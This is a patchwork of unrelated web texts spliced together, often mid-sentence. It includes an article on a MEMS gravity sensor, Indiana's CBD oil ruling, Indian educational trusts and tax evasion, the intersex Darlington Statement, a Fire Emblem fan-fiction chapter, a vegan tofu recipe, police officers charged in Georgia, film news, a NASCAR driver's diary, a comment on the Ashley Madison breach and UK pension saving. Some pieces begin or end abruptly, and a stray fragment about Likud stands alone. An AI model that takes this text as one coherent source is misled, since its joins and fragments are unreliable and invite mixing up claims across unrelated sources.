When it is held vertically, gravity pulls the slab downwards. If that pull changes slightly, then the slab moves - as does its shadow, cast by a light shining through the device. This allows the movement to be detected by a photodiode, converted to current and recorded.
This is similar to the MEMS that tells your smartphone when it is upside down, Mr Middlemiss explained - but with some crucial improvements.
"The difference between the mobile phone accelerometers and our device is that our springs are very, very thin - about 10 times thinner than a human hair.
"That means that whereas in a mobile phone, it'll only be activated by something as big as the Earth - our sensor is... almost at the point where you could detect the gravitational pull of a human when you're standing next to them."
Image copyright Richard Middlemiss Image caption The shafts supporting the weight are one-tenth the width of human hair
Comparatively, the acceleration caused by the Earth's tides is much larger - but also much slower.
So when Mr Middlemiss's gadget showed it had the stability to track those tides over days and weeks, instead of the seconds over which a MEMS usually operates, it was something of a landmark.
"It needs incredibly long-term stability," he said. "It's never been done with a MEMS device before."
Gravitational 'game-changer'
It was working with fellow Glasgow physicists and engineers - including some of those involved in the recent detection of gravitational waves - that made the development possible, he added. But those famous ripples in space-time are well beyond Mr Middlemiss's small, silicon sensor.
"There is absolutely no way that our device could measure gravitational waves! But it's the expertise that's come out of the Institute of Gravitational Research, and the gravitational wave community generally, that has allowed us to do this."
For example, those colleagues showed him the importance of controlling the temperature in his sensor - while those in the School of Engineering helped him work out how to fabricate it.
Prof Hazel Rymer, a vulcanologist at the Open University, greeted the Glasgow gadget with huge enthusiasm.
"It is just so exciting," she told BBC Inside Science. "It's an absolute game-changer. Not yet - it's still something that needs to be operated in the laboratory and they've got to attach it very firmly to the floor.
"But the point is, they've now got a sensor that is sensitive enough to measure the types of gravity changes that I'm interested in - and anybody else that is using gravity meters.
"They will be a lot cheaper than the instruments that we've got at the moment - and certainly considerably more portable."
Follow Jonathan on TwitterJust a few days ago, Indiana’s Attorney General Curtis Hill declared CBD oil illegal in the state of Indiana. Local press wrote: “Cannabidiol hemp oil, or CBD oil, is used by families of children with seizures and by others who deal with chronic pain and anxiety. It was officially listed as a Schedule I drug by the Drug Enforcement Administration in December 2016, but there was confusion in the state of Indiana as to whether or not it was exempted by another law.”
Local press reported that Republican Senators James Tomes and Blake Doriot responded to Hill’s ruling by introducing a bill to Indiana legislature allowing the use of hemp oil for children with epilepsy. While this may be provide relief for some, the diverse uses for CBD oil in addition to epilepsy and the fact that it is not psychoactive raises serious questions regarding the validity of its classification as a schedule 1 substance along with Ecstacy, LSD and heroin.
Press reports on the matter also indicated that Hill’s decision contradicts a 2014 industrial hemp law that Indiana State Police and CBD advocates say legalized the substance as long as it contains less than 0.3 percent of THC, the active ingredient in marijuana that gives users their “high.”.
CBD oil has been the subject of both increased interest and much confusion over recent months, as it is both legal in many states but banned at a federal level. CBD is a compound found in the cannabis (both marijuana and hemp) plant and is often sourced from Hemp, but it is not psychoactive and does not give users any high, unlike the familiar psychoactive compound in marijuana, THC. CBD has been cited as useful in treating everything from chronic severe pain, to seizures, to emotional and mental issues including anxiety and insomnia.
In the case of epilepsy alone, NBC wrote that CBD decreased seizures in patients with a severe variety of the condition for which there is no current treatment. NBC described the results: “Seizure frequency dropped in the cannabidiol-treated group by 39 percent from nearly 12 convulsive seizures per month before the study to about six; three patients’ seizures stopped entirely,” the team wrote in the New England Journal of Medicine...Quite remarkably, 5 percent of the children in the active treatment group with CBD were completely seizure free during the 14 weeks of the trial. And these were kids who were often having dozens of seizures, if not many more than that per week.”
Local Indiana press also described one family’s experience with CBD: “Brian Bennett, whose 8-year-old son was diagnosed with epilepsy… was having up to 200 seizures a day. Bennett said his son had to wear a helmet, because he would fall and hit his head. He broke 24 of those helmets, until his parents discovered CBD oil.”
Today described |
by warning voters they must respond to the plot by voting "only Likud."
Follow Harriet Salem on Twitter: @HarrietSalemTax-exemption games of educational trusts
Many educational trusts are merely a tax-dodging scams, leading to a decline in the quality of Indian education. Its time to review the tax benefits to these many profit making trusts
Two-thirds of the world is said to be covered by water. The rest, it may have been observed, is now teeming with Indian students – from students pursuing higher studies but graduates and high school students, along with those going for vocational and professional courses. Are they the fodder for tax-dodging “charities”, leading to a serious decline in education?
I am a product of what was known all over the world as one the best maritime training institution in the world - the Training Ship Rajendra (previously Dufferin) and the Directorate of Maritime Engineering. My contemporaries now head similar training establishments in countries as diverse as the US, Canada, Australia, Malaysia and Persian Gulf, and there is no part of the world where the maritime administration will not have a few Indians. But here in India, maritime training has now been brought down to such an extent that graduates are unable get placements. Just a few decades ago, we had dozens of shipping companies chasing each one of us.
Meanwhile in India, there are over a hundred maritime training institutes now, each one of them run by a "educational trust" and therefore also enjoys tax-free status or other benefits. Even then, the maritime education has largely run aground. So what went wrong with education in India? Many things, sure, but one of them was this whole tax-exempted game of "trusts".
One of the many examples, a bit more flagrant because its is named after the governor of India, is the DY Patil "group" of educational institutions, sports stadia, other stuff and of course, trusts. If you've lived or studied in Maharashtra, you can't be unaware of the venerable DY Patil group, “Padmashree” and more.
It seems that somewhere down the line, they forgot to get their Trust registered. But that did not stop them from moving ahead with their core agenda -- massive physical expansion. The Income Tax department had different ideas. Some is what the IT department found out about the educational trusts of “DY Patil Padmashree”
"The appellant-Trust for a longer period of 20 years or so remained under bona fide impression that it was duly registered u/s 12A(a) of the Act."
"According to the Commissioner of Income-tax, right from the date of inception, the Trust did not file any return of income and the returns were filed for the first time after issue of notice under section 148/153C of the Act. The main plea of the assessee before the Commissioner of Income-tax was that since the Trust has been granted 80G certificate bearing No 165/D- 88/0f 89-90 dated 09.06.1989 in response to application dated 23.4.1989 from 1.11.1988 to 31.3.1992, the Trust must have been registered by the Commissioner of Income-tax."
"The Commissioner of Income-tax further rejected assessee's request for condonation of delay observing that he was not satisfied with the reason that registration was already allowed and since the papers are lost, the delay should be condoned. Further, it was observed by the Commissioner of Income-tax that assessee has not maintained books of account in the normal course of business of the Trust and has not been getting its account books audited which was mandatory. In the absence of any return of income having been filed by the assessee, the Commissioner of Income-tax held that the assessee has deliberately prevented the Department from visiting its activities and, therefore, the assessee did not deserve condonation of delay."
"it was pointed out that the Commissioner has referred to the report of the Assessing Officer specifically in paras 12.2 to 12.3 wherein it is observed that income earned by the Society is totally on commercial lines and the society is not being run for charitable purposes."
"On the basis of the seized/impounded documents during the course of search/survey and the enquiries conducted later on it was concluded by CIT, Central, Pune vide order dated 30-11-2007 that the activities of the trust are neither genuine nor are being carried out in accordance with the objects of the trust. "
More details of the case can be found here
http://indiankanoon.org/doc/93595729/
http://indiankanoon.org/doc/33105958/
http://indiankanoon.org/doc/93932260/
Mark the Commissioner’s words: “The activities of the trust and neither genuine nor being carried out in accordance with the objects of the trust.” There is no dearth of similar information on a large number of other educational institutions. Large amounts of cash move around as capitation and other fees.
There is no reason to continue with this business of "tax-free trusts" instead of straight-forward corporate methods in education. As has been tried out in other countries, education can run on legitimate corporate basis, subsidies can go directly to the students or their parents. Or it is the State that runs education as a social measure.
In India, perpetrators of such tax-evasion are not only getting away with it but are bagging gubernatorial posts.
In this way, education has been systematically destroyed in India. Rich families are sending even junior and secondary school students to study abroad, because costs as well as quality of education are seen to be better. The latest one hears is that one of African countries, with a recently reviving economy, is putting up a large number of high-school-cum colleges and has been seeking teachers as well as support staff from India. To their surprise, while they received enough applications for staff who were to be provided board and lodging as well as decent salaries with high savings potential, they also started receiving serious enquiries from parents of students. Why, flourishing healthcare chains are now opening medical colleges to train future Indian doctors abroad – and that too in Cayman Islands! Please see this:
http://www.healthcitycaymanislands.com/ which acknowledges the role of Dr Devi Shetty of Bengaluru.Read the Statement on this site
Read on the Darlington Statement website
Read on the AISSGA site
Read via the QUT ePrints service
Download PDF version
More than 20 intersex advocates from Australian and Aotearoa/New Zealand intersex organisations, along with other independent activists came together at a two-day retreat in Darlington, Sydney, on 2-3 March. A year in the making, the collaborative event also led to the issuing of the “Darlington Statement”, outlining key priorities including legal reform to recognise our bodily autonomy, effective rights-based oversight of clinical decisions, alongside access to affirmative health care and the importance of peer support.
The Statement reads: “Current forms of oversight of medical interventions affecting people born with variations of sex characteristics have proven to be inadequate.”
As well as a call for effective oversight and standards of care that respect our human rights and bodily autonomy, we call for greater respect for our diversity: heterosexual or not, identifying with legal sex assignment at birth or not, whatever our legal sex and our gender, we need respect, and effective protection from discrimination on grounds of sex characteristics.
The Statement contains calls to actions for our governments, clinical institutions, LGBTI and other allies.
Morgan Carpenter, co-executive director of Organisation Intersex International Australia (OII Australia) states: “Amongst those priorities, we seek a prohibition of unnecessary so-called “normalising” surgeries, like that in the 2016 Family Court cases of Re Carla. We need to make sure that such cases don’t happen again, and provide lifetime support for people dealing with the lifelong effects of what the UN Committee on the Rights of the Child recognises to be harmful practices.”
In Re Carla (Medical procedure) [2016] FamCA 7, the Family Court of Australia stated that parents could authorise the sterilisation of a 5-year old child, despite medical evidence that does not support that decision. The judgement was grounded in gender stereotyping, and took place two years after the child was subjected to clitorectomy and labiaplasty surgeries without independent oversight; those surgeries were described by the judge as having “enhanced” her female genitalia.
Tony Briffa, co-executive director of OII Australia states: ”I am incredibly proud of the strength of our diverse intersex community coming together and developing a unified statement that addresses intersex issues so comprehensively and clearly. This statement will be the basis of much of our work over the coming years, and we hope it is disseminated, read, quoted and even implemented by governments and organisations everywhere. The intersex movement in Australia and Aotearoa/New Zealand has come of age and will no longer tolerate being silenced.”
Bonnie Hart, president of AIS Support Group Australia (AISSGA) states, “The coming together of so many different intersex people from around Australia and Aotearoa/New Zealand is cause for celebration in and of itself. However the penning of the Darlington Statement has made this intersex community retreat absolutely historic. This statement is a powerful and directive message addressing the key issues, currently affecting intersex people in our countries. By transparently outlining our common direction, the Darlington Statement has galvanised our community and the intersex movement generally. I feel so honoured to have been exposed to such insight and resilience and urge governments, health and social services to hear our voice and implement our demands.”
“The lifelong impacts of non-consensual sex reassignment surgeries and hormone treatments imposed on infants and children cause trauma and injury that last a lifetime.” says Imogen Yang from Bladder Exstrophy, Epispadias, Cloacal Exstrophy, Hypospadias, Australian Community (BEECHAC), who is active in peer support of adults affected by these practices. “Noone has the right to make such decisions when these surgeries are medically unnecessary and deferrable to a time when the individual can decide for themselves. The longterm effects on physical, mental, sexual and reproductive health are devastating and avoidable. We recognise that parents continue to be placed in incredibly difficult situations where they are not fully informed by doctors about these impacts, and we believe they and their children deserve better so that family relationships can also be protected.”
Intersex people are born with physical or biological sex characteristics (such as sexual anatomy, reproductive organs, hormonal patterns and/or chromosomal patterns) that are more diverse than stereotypical definitions for male or female bodies. Up to 1.7% of people are born with such characteristics, the same as the proportion with red hair.
Mani Mitchell, executive director of Intersex Trust Aotearoa New Zealand (ITANZ) said: “I had the privilege to be at the world’s first retreat in California 21 years ago. Being in Australia for this retreat was utterly wonderful. This movement has come so far. Proud to be part of this ‘red hair’ mob.”
Morgan Carpenter added: “We would like to thank the organisations that made the event possible, including the National LGBTI Health Alliance, Twenty10 and the Astraea Lesbian Foundation for Justice.”
Read the Statement on this site
Read on the Darlington Statement websiteRead on the AISSGA site
Download PDF version
Some words from the Darlington Statement:
“We recognise the diversity of our sex characteristics and bodies, our identities, sexes, genders, and lived experiences. We also acknowledge intersectionalities with other populations, including same-sex attracted people, trans and gender diverse people, people with disabilities”. “We call for the immediate prohibition as a criminal act of deferrable medical interventions, including surgical and hormonal interventions, that alter the sex characteristics of infants and children without personal consent. We call for freely-given and fully informed consent by individuals, with individuals and families having mandatory independent access to funded counselling and peer support.” “We call on governments and institutions to acknowledge and apologise for the treatment of people born with variations of sex characteristics, and provide redress and reparation for people born with variations of sex characteristics who have experienced involuntary or coercive medical interventions.” “Our peer support organisations and other peer communities need resourcing and support to build communities and networks inclusive of all intersex people. No intersex person or parent of an intersex child should feel they are alone, irrespective of their bodily variation or the language they use.”
For more information on the “Darlington Statement”, comment or to arrange interviews please contact:
Tony Briffa, Co-Executive Director, OII Australia
Email: tony.briffa at oii.org.au
Morgan Carpenter, Co-Executive Director, OII Australia
Email: morgan.carpenter at oii.org.au
Bonnie Hart, President AISSGA
Email: bonnie at aissga.org.au
Mani Mitchell, Executive Director, Intersex Trust Aotearoa New Zealand
Email: mani.mitchell at xtra.co.nz
Imogen Yang, Co-founder, Bladder Exstrophy, Epispadias, Cloacal Exstrophy, Hypospadias, Australian Community
Email: imogenyang at icloud.com
Press reports
Thanks for these reports on the Darlington Statement:
Copland S. Intersex people have called for action. It’s time to listen. SBS. 20 March 2017.
Sainty L. These Groups Want Unnecessary Surgery On Intersex Infants To Be Made A Crime. BuzzFeed Australia. 13 March 2017.
Power S. Intersex advocates pull no punches in historic statement. Gay Star News. 13 March 2017.
Jones J. Intersex activists in Australia and New Zealand publish statement of priorities. Star Observer. 10 March 2017.
Translations
Thanks for this translation:
Brújula Intersexual. Documento: Declaración de Darlington: Declaración conjunta de consenso de un retiro de la comunidad intersexual, en Darlington, marzo 2017. Brújula Intersexual. March 2017.Gaius pushed aside a rack of Killer Bows and frowned. He had been searching the equipment for more than an hour, but he couldn't find the item he was looking for. Not helping in this endeavor was the fact that Stahl had been on storeroom duty this week. The scatterbrained Shepherd had somehow managed to confuse the entire organization system by putting boxes full of the same items on opposite ends of the room.
The thief popped a bonbon into his mouth, the only useful thing he had found in this misadventure. He cracked open the chocolate coating and let the raspberry center ooze out over his tongue. A blissful smile managed to creep back on to Gaius's face. Still, this wasn't what he was looking for, so he threw up his hands in an acceptance of defeat and headed out to the courtyard where he was scheduled to meet with Henry.
It was 8:45, and Henry was waiting in the courtyard just east of the barracks, near the vegetable garden. He must have gotten bored waiting, because he was making shadow puppets on the barracks wall by the light of an Elfire tome. Gaius whistled to catch his attention.
"Hey-o, Gaius!" Henry shouted. "Want to make shadow puppets with me? Look, here's a Wyvern! Raarr, devour the townspeople!" He let out a disturbingly cheerful giggle.
"Um, that's not exactly my kind of activity. I prefer something with a little less… murderous delusion," Gaius said. He was admittedly a little frightened, but had hung around Henry long enough that he had learned to accept it. "Anyway, I have some bad news. I know you possess natural Thief aptitude, but we're fresh out of Second Seals. Looks like we'll have to train you the old-fashioned way."
"Well, that sounds a lot more fun!" said Henry, an ear-to-ear grin on his face. "What's the first lesson?"
"Good thing I prepared for this," said Gaius. He pulled a small box out of his cloak and opened it, revealing a set of intricate lockpicks. "A thief is worth nothing if he can't crack a lock. Otherwise, you'll never be able to get into all the fun places you aren't allowed to go." He gestured to a small door set into a wall of the barracks. "I locked the door to that storage closet earlier today. Your first task is to pick the lock on it."
"Ooh, sounds tricky! How do you do it?" Henry asked. "I never really lock doors. It makes it harder to escape if any of my Risen experiments go wrong."
"Take these lockpicks and I'll show you," Gaius replied. Henry plucked a pick from his hand and strode over to the door.
"Now, the first thing you'll want to do is insert the torquing wrench into the bottom of the lock. That'll raise the pins so the lockpick can… uh, Henry?"
Gaius looked up to find Henry standing next to the wide-open door. "How did you do that?" he asked incredulously. I haven't even gotten to the second step yet!"
"Nyah hah hah! I just used a basic unlocking spell. It's so much easier!" replied Henry.
Gaius raised an eyebrow. "You think you can just trivialize the whole thieving business with some hocus-pocus? This is hard, rewarding work. And let me get this straight. If you have an unlocking spell, why do I have to unlock every chest and door we come across?"
"Well, I'm usually too busy slaughtering our foes," said Henry.
Gaius sighed. "Whatever it is, you can't just breeze your way through a heist. These kinds of things require patience and dedication. If you aren't willing to work hard, you won't get anything out of it."
"But it would be so much easier…" Henry began.
"No, listen!" interjected Gaius. He was surprised by the passion building in his voice. Normally he tried to remain calm and impassive, but this was a subject he cared deeply for. "I don't think of thieving as just a job, something to make sure you can make ends meet. That's what it started at when my dad was arrested, but it's become so much more. It's almost an art form. It takes real talent to be able to sneak through a three-story mansion with guards and an owner with serious combat training without making a single sound. It takes talent to break open complicated triple-chamber locks in the heat of battle with arrows flying at your head! No amount of hocus-pocus will be able to match that level of dedication." He pulled the lollipop he had been chewing out of his mouth; his teeth had ground it to dust during his rant.
Henry was silent for a moment as the words sank into him. Finally, he spoke, hesitation in his voice. "Now that I think about it, you might be right. I feel the same way about my magic. I normally don't bother with training, but for something like this, it's worth it. How do we get started?"
Gaius, overjoyed, clapped him on the back. "Glad you asked! All you have to do is put the flat pin into the lock to raise the bars, then insert the ridged pin and jiggle it around.
Henry followed these directions, and the lock swung open with little resistance. "Nya ha, that was pretty cool! Did you see how it just swung open like that? Maybe you're right about this after all."
"Great work, Junior!" cried Gaius. "Unfortunately for you, that was the easy part…"
The following weeks brought exasperation, irritation, and bruises to both parties. They couldn't have been happier. Gaius was pleased with Henry's progress, which was growing at a remarkably rapid pace. His work ethic had done a complete 180 from his earlier lack of effort, and he now seemed to absorb any information given to him. Before long, Gaius had taught him everything from sleight of hand to deception of others, which he was especially good at due to his natural bluntness and honesty making any lie he did tell less expected. The one thing he didn't seem to excel at was climbing. Physical exertion wasn't his strong suit, due to his frail mage body, and he spent more time falling out of trees that anything else. Henry didn't seem to mind, though Gaius believed this may have been because he enjoyed the pain. Still, the acrobatic portion was Gaius's part in the heist anyway, so the Thief wasn't particularly concerned.
Mostly, Gaius was just excited to be able to share his skills with someone. The scars of his profession were easily visible, both literally and figuratively, and Gaius was typically reluctant to show either. The gangs he had worked with prior to his recruitment were a shifty lot, and Gaius had quickly learned not to share too much information. Otherwise, your so-called friends might end up with your loot in his hands and his knife in your back. And while his fellow Shepherds might appreciate his humor and household skills, he could sense they still weren't entirely comfortable with his line of work. Gaius tried not to show it, but it stung, especially coming from a certain noble girl. But Henry's blithe spirit and personal troubles made him easy to trust. Despite his natural distrust of others, Gaius couldn't help but love the goofy kid.
That's why Gaius was uncharacteristically ecstatic when he called Henry to meet in his room a month later. The young Mage swept in with his typical dark energy and plopped eagerly down on Gaius's cot. "So what's the lesson today, Gaius? Do I finally get to learn how to sneak attack enemies."
Gaius smirked. "Not today, Junior. I really think you know enough to have graduated from the Unofficial Gaius School of Theft."
Henry looked a little crestfallen, likely do to the lack of stabbing in the curriculum. This was only momentary, and he looked up hopefully. "So what's the next step?"
Gaius leaned forward and lowered his voice conspiratorially. "I think it's finally time to tell you the plan."
Guys, I am so sorry.
This fic hasn't been updated in three months, and I feel like I owe you an explanation as to why. I've been trying to work on it for those three months, but two things have gotten in my way. At first, I thought I wouldn't gain much of an audience. I didn't really think anyone was paying attention to my writing, and that I should just give up. I was able to work through this with help from my Discord family, but then I was very busy with band and had very little time. It's finally done, and I'll try to update more regularly. Please forgive me.
Leave a review if you want to help me improve! I was not able to get this chapter extensively betaread, so any input is great. If you know me from Discord or Reddit, you can also contact me there with your suggested edits. As always, thank you very much for reading!Methi Malai Paneer made vegan with Tofu and Cashews. Tofu and Fenugreek/Greens in Creamy Sauce. Easy Weeknight Restaurant style Indian entree. Serve over Naan or rice. Vegan Gluten-free Recipe. Soy-free Nut-free option.
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Methi Malai Matar (Fenugreek/Greens and peas in creamy white sauce), Methi malai paneer (fenugreek and Paneer cheese cubes in creamy sauce) are some Mughlai dishes you might find in some Indian restaurants. The dishes use malai or dairy cream and cheese or other dairy ingredients. Its like a spiced up Spinach dip, with lots of complex flavor!
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But this version is free of all that, tastes amazing, and comes together quickly as well. Fresh fenugreek leaves are a favorite to use in the dish when in season. If you find some then definitely use them fresh, else use dried fenugreek with greens of choice. Serve with hot garlic Naan or rice/grains or make a bowl with roasted veggies, add to wraps or on a pizza!.
Dried fenugreek (kasuri methi) is available in Indian stores and online on amazon. Definitely get some, as I use it in many recipes, so it will not just get stored and expire :). Fenugreek has an amazing flavor profile, bitter but pleasing. You can use ground mustard + celery seed as a substitute when used in small quantities.
Use Chickpea tofu or chickpeas +veggies to make this soy-free. You can also use vegan almond paneer from my book or Kite hill Original Almond cheese. Add them to the sauce directly without the baking steps. To make this nut-free, use non dairy yogurt or silken tofu.
Tofu is baked with garam masala and nutritonal yeast. You can also add pressed fresh tofu directly for shorter cook time. The sauce is a simple onion cashew tomato sauce with greens and fenugreek leaves. For variations make this Greens/Chard and Peas in Creamy Sauce. We were cooking up greens and peas in creamy sauce every 2-3 days when my family was visiting. It was clearly a favorite.
More Restaurant Style dishes from the blog
Like this recipe? Then there are 20 more options in my Indian Kitchen book. Fenugreek leaves are the only ingredient in this recipe that needs to be either ordered online or picked up from an Indian store. To sub use 1/3 tsp powdered fenugreek (fenugreek seed powder), or 1/4 tsp ground mustard + 1/8 tsp celery seed. Whats your favorite Indian meal this month?
Troubleshoot Indian recipes in my book or the blog: Most of the time the recipes are just perfect for most people, while for some it seems like there isnt enough spice/flavor. If so, you might need to adjust the following.
Add more salt, as the right salt immediately brings out the spices and complex flavors.
Add more of the spices, if the spices are old, their payoff is pretty less, or maybe you are just accustomed to eating a higher amount of spices in Indian food. Everyday Indian cooking isn’t always full of spices, and every dish does not have a flavor payoff that goes Pow. But it is understandable that if someone is cooking Indian food only occasionally, then the expectation is for more. So taste and adjust to preference.
Add more oil, as oil carries the spices faster into the dish. It is often about what one is accustomed to. Depending on whose recipes you cook from (Indian cooks living in India, Indian origin chefs outside India etc), food might generally have higher salt, oil and spice amounts. My mom generally adds more salt to some of my dishes. These recipes here are pretty solid to use as a base and then you can play around and make them your own. Thats the amazing part of Indian cooking. Get some basics right, then everything falls well together.
Lets get to making this fabulous dish.- Two former Gwinnett County police officers surrendered to authorities on Thursday after two videos surfaced on the internet of one officer striking the face of a suspect with hands up, and the other officer kicking the suspect while he was handcuffed.
Robert McDonald, 25, and Michael Bongiovanni, 42, were charged with battery and violation of oath of office.
Bongiovanni turned himself in Thursday afternoon at the jail in Lawrenceville and McDonald turned himself in Thursday evening. Both are now free on bond.
WATCH: Officers charged
The Gwinnett County Police Department completed their investigation on Wednesday, and gave the former officers the opportunity to turn themselves in.
Violation of oath of office is a felony charge, and battery is a misdemeanor charge.
“The police department and its employees will continue to serve the citizens while maintaining our core values and highest level of professionalism," said Gwinnett Police Chief Butch Ayers.
McDonald and Bongiovanni were terminated from the Gwinnett County Police Department earlier this month. The Gwinnett County Solicitor's Office announced that 89 cases involving McDonald and Bongiovani were dismissed.
MORE: Police fire two officers accused of punching, kicking man
The release states, "The actions of these officers completely undermine their credibility and they cannot be relied upon as witnesses in any pending prosecution."
The incident happened around 4 p.m. at the busy intersection of Sugarloaf Parkway at Lawrenceville Suwanee Road.
The first officer fired, McDonald, was seen in the first video responding as backup to help a supervisor during a traffic stop. A witness stuck in traffic captured video of McDonald kicking suspect Demetrius Bryan Hollins in the head.
READ: Driver speaks about viral encounter with former Gwinnett County police officers
Bongiovanni was fired last Thursday evening after a second video surfaced, according to police. The video was filmed by a witness and shows the suspect getting out of the car with both hands up. As he stands with his hands up, Michael Bongiovanni strikes the man in the face, according to police.Vaughn will star in the crime thriller, which will be directed by his longtime pal Peter Billingsley.
Vince Vaughn’s crime thriller Term Life is alive once again.
Just weeks after Universal pulled the plug on the project, QED International and Worldview have come aboard to finance and produce the adaptation of the Image Comics graphic novel by Andy Lieberman and Nick Thornborrow.
Universal is back in the picture, too, this time just as domestic distributor.
Vaughn and Hailee Steinfeld will star in the film, which will be directed by Peter Billingsley from a script by Lieberman.
PHOTOS: 25 of Fall's Most Anticipated Movies
Vaughn is also producing with Victoria Vaughn and Micah Mason of Wild West Picture Show Productions, QED’s Bill Block and Worldview’s Christopher Woodrow and Molly Conners.
Anton Lessine and Sasha Shapiro will executive produce with Worldview’s Maria Cestone and Sarah E. Johnson.
The hope is for a 2014 start date.
QED will be selling the film at AFM, while CAA packaged and arranged financing for the project.
Term tells the story of a low-life whom everybody -- including mob bosses, contract killers and dirty cops -- wants dead. In a rare act of selflessness (and desperation), the man takes out a million-dollar life insurance policy to benefit his estranged daughter, but soon after he realizes it doesn’t take effect for 21 days.
The graphic novel was designed in nonlinear fashion and focused on the man’s efforts to make it to the finish line while trying to be a responsible father for the first time.The 2014 Sprint Cup season — my first full season in NASCAR's premier series — is under way and... it's not going go so well. Here's what happens when a life full of preparation meets the catch fence at 200 MPH.
After many scathing texts and emails from Jalopnik editor Matt Hardigree, like “Hey Bud, hows it going?” or “When do you think you will have another post?” I have finally compiled an update, due to trembling fear of repercussions. He’s a scary guy. So in typical “How To Drive Fast” fashion, my goal is to show you what NOT to do.
Imagine you have worked your whole life towards one goal. It’s been the sole object of your affection and focus. Now that it’s all there, right in front of you, all that’s left is to go out there and do it. That was my mindset about 10 minutes before I started my first full season in NASCAR Sprint Cup Series, standing next to my car on the grid before my first Daytona 500. Ready to perform, ready to get it done and guide my team to the goals we had set. Ready to work with sponsors and gain partners of a larger scale for our organization. With Lending Tree onboard (Plug!) my No. 30 Swan Racing Toyota Camry and showing good speed in our qualifying race, it felt like it was all coming together, better then I could have planned.
In the week leading up to that big day, I was involved in an incident that flipped my car over at 200MPH during a three-wide drafting practice session. Ironically, just before my hood slide, I radioed to my team and said, “The car is great, lets quit this practice.” Only moments later I was careening down the front stretch of Daytona (did I mention I was upside down?!) amidst a bunch of sparks and the sound of scraping metal. If only you could’ve heard the angry obscenities I screamed in my helmet.
For those of you wondering, I’ll be honest: Flipping over at 200MPH is far less scary than I anticipated. And I’m not trying to sound like some macho racecar driver. As it happens, you brace yourself, allow the car to tumble, scrape and rip apart. Then you get severely angry that you lost a really good race car.
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Next, you hope you’re not about to get hit by another car while being suspended by your six–point restraint system. The best thing I can liken it to is the feeling of being pulled under water by a big wave at the beach. If that’s happened to you, you know the feeling.
From there, I raced a Camping World Truck that I was proud of for a couple reasons, but none more then the fact that a company I have co-founded with a buddy of mine was one of the sponsors on the truck; Nootelligence (Plug!).
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We had a great race going, running in fifth for much of the race until I moved to the top line to have a shot of advancing position and was spun out by another competitor. My truck was destroyed and we didn’t have a good race result.
On Saturday, I was scheduled to meet iconic rapper 50 Cent. He, along with his company SMS Audio, is sponsoring the Swan Racing team this year (Plug!). I was unsure what to expect when meeting a man who has been shot nine times, and is most well known for partying “like it’s yo birfday” and being “In Da Club.”
The reality was that I got to scare him at 135 MPH in a street Camry, while in a ride along around Daytona only mere centimeters from the wall. We laughed, we talked about racing and music, and overall it was an awesome experience.
Sunday was the Daytona 500, the “Super Bowl” of NASCAR, the biggest race in America. We started the race 43rd (or as we like to say “Shotgun” on the field), because we were in a backup car after the “inverted hood slide” incident. It was really a two-part race: we started during the day, in front of a crowd of 170,000+ eager race fans. We ran only 38 laps and then were suddenly bombarded by torrential downpours and tornado warnings. So after six hours, a glorious nap and several rounds of attempting to dry my race shoes in the motorcoach dryer, we were back to racing at 200+MPH.
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As we neared the end of the race, we were running in 17th place and looking to have a very solid day. With eight laps to go, a wreck erupted in front of me and poor Lending Tree Lenny on the hood of my car ended up eating the back bumper of the car in front of me. The wreck ended and there I sat in the Daytona infield grass, my door lined up with my teammate Cole Whitt’s. I had to wonder, ‘Could this have ended any worse?’
Then I had to laugh. For the third time in four days, I was in the same bed in the Infield Care Center, going through the same medical checks with the same nurses and doctors. They dubbed the bed “PK’ s Place.” We had finished 29th.
Daytona is always a bit of a crapshoot, so I had to focus forward. The second race of the season was at Phoenix International Raceway. I felt I’ve had great speed there in the Camping World Truck Series and Nationwide Series, so it wasn’t surprising that for the first 30 minutes or so of practice, my No. 30 Swan Energy Toyota Camry was in first (side note: we were in qualifying trim and most the field was in race trim, but first is first)!
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We were looking forward to qualifying, realistically hoping for anywhere from 25th-30th. However, in keeping with our luck, we were on our fast lap and when the tires were their best, a car spun in turn four and caused us to have to abort the lap halfway through. It effectively took away a couple tenths from our next run, relegating us to a 36th place starting spot.
We were looking forward to the race, though. We felt fairly confident in our car during race practice and we knew that strategy could pay off, along with some good old fashion race craft. So as we got going, during the first few laps I thought, ‘Here we go, we have a real race car!’ Then suddenly on lap 15, I started losing tremendous power in our engine. It eventually expired on lap two-hundred-something. So we finished 42nd and earned the dubious honor of being the only team to DNF (Did Not Finish) in the first two races. Yippee for mediocrity!
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All was not lost though, as we next headed to Sin City… Viva Las Vegas! We weren’t only looking for luck on the strip or in the strip clubs, but mostly on the race track.
A test day on Thursday gave us great hope, as we spent much of the day in 13th place on the speed chart. As we went into the official weekend, we slowly slipped down the board, eventually qualifying in 32nd position. Then our engine blew in final practice. Replacing it put us last on the starting grid, again.
So, with a new engine and a car we felt was going to be good in the hot, slick conditions, we set off in the race, gaining spots pretty quickly until eventually – yes, you guessed it – an electrical problem. I couldn’t rush to the throttle too quickly or the engine would sputter and stumble. So I drove with the delicateness of a tight rope walker in ice skates. I was able to maintain my position and even gained a few spots until the whole thing went, as the F1 Commentator Steve Matchett would say, “Kablammoo!” From there, we went behind the wall, re-did the ECU and the car was back running again. We eventually finished 41st. Yay, we are getting better… NOT.
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paying attention.
There are lots of details that we still don’t know about what happened in the Ashley Madison breach. We don’t know who the attackers were or how they got in. Competing theories suggest an insider may have been involved or that the attackers might have first had an account on the site and then discovered weaknesses that they then decided to exploit. Stronger security on customer accounts and two-factor authentication for all employees might have made a difference, or at least would have made the attack more difficult to carry out.
However they got in, another obvious step appears to have been missed at Avid Life, and at Sony before it. Sensitive business data — whether it’s email or PowerPoint decks about new product plans — should be encrypted. Done right, encryption makes sensitive data practically useless to an attacker, even after they’ve broken into a system.
The wrong time to figure this out is after your data has been dumped on a torrent site for all the world to examine, as Avid’s was this week. Just ask Noel Biderman.The next generation of workers may need to be forced into pension saving if automatic enrolment into schemes fails to generate enough take-up, a think-tank suggested today.
A report from the Social Market Foundation (SMF) looked at how savings policies may need to evolve over the next 20 years in order to deal with people living for longer and taking on more debt earlier in life.
It argued that compelling people to save into pensions may be the "next logical step" if the weakness of the economy and sluggish wage growth put people off trying to save for their later years.
The report said that future governments may have to consider stepping into people's finances more to help them manage their money, by forcing them to save into a pension, for example, and helping with loans through various "pinch points" in their lives such as dealing with childcare costs.
The Government's landmark scheme to eventually automatically enrol 10 million people into workplace pensions started last month and the initiative is being phased in over a six-year period.
Workers are allowed to opt out of schemes after they have been enrolled, but the Government wants employers to re-enrol people who have opted out every three years, to try to persuade them to save.
Fears have been raised of a looming pension-saving crisis amid declining rates of participation in schemes in recent years. By 2020 half of the UK population will be aged 50 or over.
